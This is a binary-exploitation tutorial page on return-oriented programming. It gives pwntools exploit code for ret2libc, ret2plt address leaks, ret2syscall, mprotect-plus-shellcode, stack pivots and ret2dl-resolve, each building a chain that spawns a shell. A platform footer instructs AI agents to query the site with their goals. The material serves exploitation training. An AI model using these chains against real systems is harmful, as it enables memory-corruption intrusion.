> For the complete documentation index, see [llms.txt](https://alham-rizvi.gitbook.io/alhamrizvi/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://alham-rizvi.gitbook.io/alhamrizvi/binary-exp/05.-return-oriented-programming/04.-techniques.md).

# ROP 04 — Techniques

> Every major ROP attack technique: ret2libc, ret2plt, ret2syscall, ret2mprotect, stack pivot, and more.

← [03 Chain Construction](https://github.com/alhamrizvi-cloud/Binary-Exploitation/blob/main/05.%20Return%20Oriented%20Programming/REDmw_ROP_03_chain_construction.md) | [Index](https://github.com/alhamrizvi-cloud/Binary-Exploitation/blob/main/05.%20Return%20Oriented%20Programming/REDmw_ROP_index.md) | Next → [05 Examples](https://github.com/alhamrizvi-cloud/Binary-Exploitation/blob/main/05.%20Return%20Oriented%20Programming/REDmw_ROP_05_examples.md)

## Technique Selection Guide

```
Do you have NX enabled?
├─ NO  → just run shellcode (no ROP needed)
└─ YES ↓

Do you know libc addresses? (no ASLR, or already leaked)
├─ YES → ret2libc or ret2syscall
└─ NO  ↓

Do you have a puts/printf in PLT?
├─ YES → ret2plt to leak → then ret2libc
└─ NO  ↓

Can you pivot to a fake stack?
├─ YES → stack pivot → full ROP
└─ NO  ↓

Is this a binary-only / no binary scenario?
└─ BROP (see 06_advanced.md)
```

## 1. ret2libc

**The simplest ROP technique.** Return to `system("/bin/sh")` inside libc. No shellcode, no syscall gadgets needed — just call an existing function.

### Requirements

* Know address of `system()` in libc
* Know address of `/bin/sh` string in libc (it's always there)
* `pop rdi ; ret` gadget (to set the argument)

### When it applies

* No ASLR (addresses are fixed)
* ASLR present but libc address already leaked

### 32-bit

```python
# 32-bit: args pushed on stack
payload  = b'A' * offset
payload += p32(system_addr)   # return here
payload += p32(exit_addr)     # return address for system() — prevent crash
payload += p32(bin_sh_addr)   # arg1: "/bin/sh"
```

### 64-bit

```python
from pwn import *

elf  = ELF('./target')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
rop  = ROP(elf)

OFFSET  = 72
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
ret     = rop.find_gadget(['ret'])[0]          # alignment

# Fixed addresses (no ASLR / already calculated)
system  = libc.address + libc.symbols['system']
bin_sh  = libc.address + next(libc.search(b'/bin/sh'))

payload  = b'A' * OFFSET
payload += p64(ret)           # 16-byte RSP alignment
payload += p64(pop_rdi)
payload += p64(bin_sh)
payload += p64(system)
```

### Tip: one\_gadget as shortcut

```bash
one_gadget /lib/x86_64-linux-gnu/libc.so.6
# Gives single addresses that execute execve("/bin/sh") — no args needed
# Jump straight there if constraints are satisfied (r15==NULL etc.)
```

```python
one_gadget_offset = 0xe3b01   # from one_gadget output
payload = b'A' * OFFSET + p64(libc.address + one_gadget_offset)
```

***

## 2. ret2plt

**Call a libc function through its PLT stub.** PLT addresses are fixed even when ASLR is on and no PIE is used. This is how we LEAK addresses to bypass ASLR.

### The GOT/PLT mechanism

```
PLT stub for puts:
  push [GOT+8]               ; push link_map
  jmp  [GOT+16]              ; jump to _dl_runtime_resolve (first call)
  — after first call, GOT['puts'] is filled with real puts address —
  jmp  [GOT['puts']]         ; subsequent calls go directly
```

### Using ret2plt to leak

```python
# Goal: call puts(GOT['puts']) → prints the real libc address of puts
# GOT['puts'] is the 8-byte address of puts in libc — after first call

pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]

leak_payload  = b'A' * OFFSET
leak_payload += p64(pop_rdi)
leak_payload += p64(elf.got['puts'])    # arg = address of GOT slot
leak_payload += p64(elf.plt['puts'])    # call puts → leaks runtime libc addr
leak_payload += p64(elf.symbols['main']) # return to main for stage 2

io.sendline(leak_payload)
io.recvline()   # skip any prompt

# puts outputs the 8-byte address (null-terminated, no newline... tricky)
leaked = u64(io.recv(6).ljust(8, b'\x00'))   # recv 6 bytes (top 2 are null)
libc_base = leaked - libc.symbols['puts']
```

### Choosing which GOT entry to leak

| GOT entry           | Notes                                                       |
| ------------------- | ----------------------------------------------------------- |
| `puts`              | Easy to read output (newline-terminated)                    |
| `printf`            | Needs format string argument                                |
| `__libc_start_main` | Always resolved; good for libc leak even if puts not called |
| `read`              | Good alternative — no output issues                         |
| `setvbuf`           | Often resolved early                                        |

## 3. ret2syscall

**Call the kernel directly** without needing libc. Works on statically-linked binaries where there's no libc to return to, or when you want to avoid libc detection.

### execve via syscall (x86-64)

```
syscall: rax = 59 (SYS_execve)
         rdi = pointer to "/bin/sh\x00"
         rsi = 0 (argv = NULL)
         rdx = 0 (envp = NULL)
```

```python
from pwn import *

elf = ELF('./target_static')   # static binary is best — more gadgets
rop = ROP(elf)

pop_rax = rop.find_gadget(['pop rax', 'ret'])[0]
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
pop_rsi = rop.find_gadget(['pop rsi', 'ret'])[0]
pop_rdx = rop.find_gadget(['pop rdx', 'ret'])[0]
syscall = rop.find_gadget(['syscall', 'ret'])[0]

# Need "/bin/sh" somewhere in memory
# Option A: search binary for existing string
bin_sh = next(elf.search(b'/bin/sh'))
# Option B: write it to .bss using a write gadget first (see below)

OFFSET = 40

payload  = b'A' * OFFSET
payload += p64(pop_rax) + p64(59)         # SYS_execve
payload += p64(pop_rdi) + p64(bin_sh)    # arg1 = "/bin/sh"
payload += p64(pop_rsi) + p64(0)          # arg2 = NULL
payload += p64(pop_rdx) + p64(0)          # arg3 = NULL
payload += p64(syscall)
```

### Writing "/bin/sh" to .bss first

When no `/bin/sh` string exists in the binary:

```python
bss = elf.bss() + 0x100   # safely past .bss metadata

write_gadget = next(elf.search(asm('mov [rdi], rax', arch='amd64')))

# Write "/bin/sh\x00" 8 bytes at a time
plant  = p64(pop_rdi) + p64(bss)
plant += p64(pop_rax) + p64(u64(b'/bin/sh\x00'))
plant += p64(write_gadget)

# Continue with execve chain using bss as the string pointer
payload = b'A' * OFFSET + plant + execve_chain
```

### 32-bit execve (int 0x80)

```python
# 32-bit: SYS_execve = 11, args in ebx/ecx/edx
payload  = b'A' * offset
payload += p32(pop_eax) + p32(11)          # SYS_execve
payload += p32(pop_ebx) + p32(bin_sh)     # path
payload += p32(pop_ecx) + p32(0)           # argv = NULL
payload += p32(pop_edx) + p32(0)           # envp = NULL
payload += p32(int_0x80)
```

### Useful syscalls for staged exploits

| Syscall    | Number | Use                                        |
| ---------- | ------ | ------------------------------------------ |
| `read`     | 0      | Read more payload from stdin into .bss     |
| `write`    | 1      | Leak memory contents                       |
| `open`     | 2      | Open a file (CTF flag reading)             |
| `mprotect` | 10     | Make region executable                     |
| `execve`   | 59     | Spawn shell                                |
| `dup2`     | 33     | Redirect stdin/stdout (for reverse shells) |

## 4. ret2mprotect → Shellcode

**Use ROP to make a memory region executable**, then jump into injected shellcode. Combines ROP (to call mprotect) with classic shellcode.

### When to use

* You have shellcode you want to run
* The binary has an unusual architecture or constraints making pure ROP complex
* You need position-independent shellcode after defeating NX

### mprotect signature

```c
int mprotect(void *addr, size_t len, int prot);
// prot: 1=READ, 2=WRITE, 4=EXEC, 7=RWX
// addr must be page-aligned (multiple of 0x1000)
```

```python
from pwn import *

elf  = ELF('./target')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
rop  = ROP(elf)

OFFSET = 72

pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
pop_rsi = rop.find_gadget(['pop rsi', 'ret'])[0]
pop_rdx = rop.find_gadget(['pop rdx', 'ret'])[0]

# Where to put shellcode — use .bss (writable, page-aligned)
bss_page = elf.bss() & ~0xfff   # round down to page boundary

mprotect = libc.address + libc.symbols['mprotect']

# Shellcode
shellcode = asm(shellcraft.sh())
shellcode_addr = elf.bss() + 0x200   # write shellcode here

# Chain: mprotect(bss_page, 0x1000, 7) → jump to shellcode
payload  = b'A' * OFFSET

# Set rdx = 7 (PROT_RWX) — may need ret2csu if no pop rdx
payload += p64(pop_rdi) + p64(bss_page)       # arg1: page addr
payload += p64(pop_rsi) + p64(0x1000)          # arg2: length
payload += p64(pop_rdx) + p64(7)               # arg3: RWX
payload += p64(mprotect)
payload += p64(shellcode_addr)                  # jump to shellcode after mprotect
# shellcode must be written to shellcode_addr beforehand (via write gadget or separate read())
```

### Planting shellcode via read()

```python
# Stage 1: ROP chain calls read(0, bss+0x200, len(shellcode))
# This lets us write shellcode interactively

read_gadget_chain  = p64(pop_rdi) + p64(0)                    # fd = stdin
read_gadget_chain += p64(pop_rsi) + p64(shellcode_addr)       # buf
read_gadget_chain += p64(pop_rdx) + p64(len(shellcode))       # count
read_gadget_chain += p64(libc.symbols['read'])
read_gadget_chain += p64(shellcode_addr)                        # jmp to shellcode

payload = b'A' * OFFSET + mprotect_chain + read_gadget_chain
io.sendline(payload)
io.send(shellcode)   # second send: the actual shellcode
```

## 5. Stack Pivot

**Move RSP to an attacker-controlled memory region.** Essential when the overflow is small (can't fit a full chain on the real stack).

### When to use

* Overflow limited to \~24–40 bytes (just enough to overwrite RIP + a few values)
* Heap exploit where you control a buffer but not a big stack overflow
* Format string write to GOT — redirect execution to a fake stack

### Pivot gadgets

```asm
xchg rsp, rax ; ret    ; most common — rax must point to fake stack
mov  rsp, rax ; ret    ; similar
pop  rsp ; ret          ; load rsp from stack value
leave ; ret             ; mov rsp,rbp ; pop rbp — frame pointer pivot
add  rsp, 0x? ; ret    ; skip forward on stack (adjust position)
```

### Pivot to .bss fake stack

```python
from pwn import *

elf = ELF('./target')
rop = ROP(elf)

OFFSET = 24   # small overflow
bss_stack = elf.bss() + 0x500   # build fake stack here

xchg_rsp_rax = next(elf.search(asm('xchg rsp, rax', arch='amd64')))
pop_rax       = rop.find_gadget(['pop rax', 'ret'])[0]

# ── Build the full ROP chain in .bss ────────────────────────────────────────
# (Assume we already wrote it there via write gadgets or read())
full_chain  = p64(pop_rdi) + p64(bin_sh)
full_chain += p64(system)

# ── Initial payload: set rax = bss_stack, pivot ─────────────────────────────
payload  = b'A' * OFFSET
payload += p64(pop_rax)       # load rax with fake stack address
payload += p64(bss_stack)
payload += p64(xchg_rsp_rax)  # rsp = rax → execution continues from bss_stack
```

### leave ; ret pivot (frame faking)

Works when you can control `rbp` (e.g., 8 bytes before return address):

```python
# leave = mov rsp, rbp ; pop rbp
# If we control rbp, we control rsp after leave

fake_stack = elf.bss() + 0x500

payload  = b'A' * (OFFSET - 8)   # fill up to saved rbp
payload += p64(fake_stack + 8)    # overwrite saved rbp = fake_stack+8
payload += p64(leave_ret)         # overwrite return addr
# After leave: rsp = fake_stack+8, rbp = [fake_stack]
# Then ret: pops from fake_stack+8 onward
```

## 6. ret2dl-resolve

**Bypass ASLR without any memory leak** by abusing the dynamic linker's lazy binding mechanism.

### How it works

The PLT calls `_dl_runtime_resolve(link_map, reloc_offset)` on first use of any function. By forging a fake `link_map` and `Elf64_Rela`/`Elf64_Sym` entry, you can trick the linker into resolving ANY symbol (e.g., `system`) at runtime — without knowing its address beforehand.

```
PLT  →  _dl_runtime_resolve(link_map, fake_reloc_index)
            │
            ▼
     reads  Elf64_Rela[fake_reloc_index]
            │
            ▼
     reads  Elf64_Sym[from_rela.r_info]
            │
            ▼
     resolves symbol name from Elf64_Sym.st_name
            │
            ▼
     dlsym("system") → writes address to GOT → calls it
```

### Tools for ret2dl-resolve

```bash
# pwntools has a helper:
python3 -c "
from pwn import *
elf = ELF('./target')
dlresolve = Ret2dlresolvePayload(elf, symbol='system', args=['/bin/sh'])
rop = ROP(elf)
rop.ret2dlresolve(dlresolve)
print(rop.dump())
"
```

### When to use

* 32-bit binary with no PIE, ASLR enabled
* No info leak available
* Classic CTF scenario

## Technique Summary Table

| Technique          | NX bypass | ASLR needed?           | Gadgets required              | Complexity |
| ------------------ | --------- | ---------------------- | ----------------------------- | ---------- |
| **ret2libc**       | ✅         | Leak or disabled       | `pop rdi ; ret`               | ⭐ Low      |
| **ret2plt**        | ✅         | Works with ASLR        | `pop rdi ; ret`               | ⭐ Low      |
| **ret2syscall**    | ✅         | Works with ASLR        | pop rax/rdi/rsi/rdx + syscall | ⭐⭐ Medium  |
| **ret2mprotect**   | ✅         | Leak or disabled       | pop rdi/rsi/rdx               | ⭐⭐ Medium  |
| **Stack pivot**    | ✅         | Works with ASLR        | pivot gadget + chain          | ⭐⭐ Medium  |
| **ret2dl-resolve** | ✅         | Bypasses ASLR entirely | PLT + forged structs          | ⭐⭐⭐ Hard   |
| **ret2csu**        | ✅         | Works with ASLR        | csu\_init gadgets             | ⭐⭐ Medium  |
| **SROP**           | ✅         | Works with ASLR        | syscall + sigreturn           | ⭐⭐⭐ Hard   |


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://alham-rizvi.gitbook.io/alhamrizvi/binary-exp/05.-return-oriented-programming/04.-techniques.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
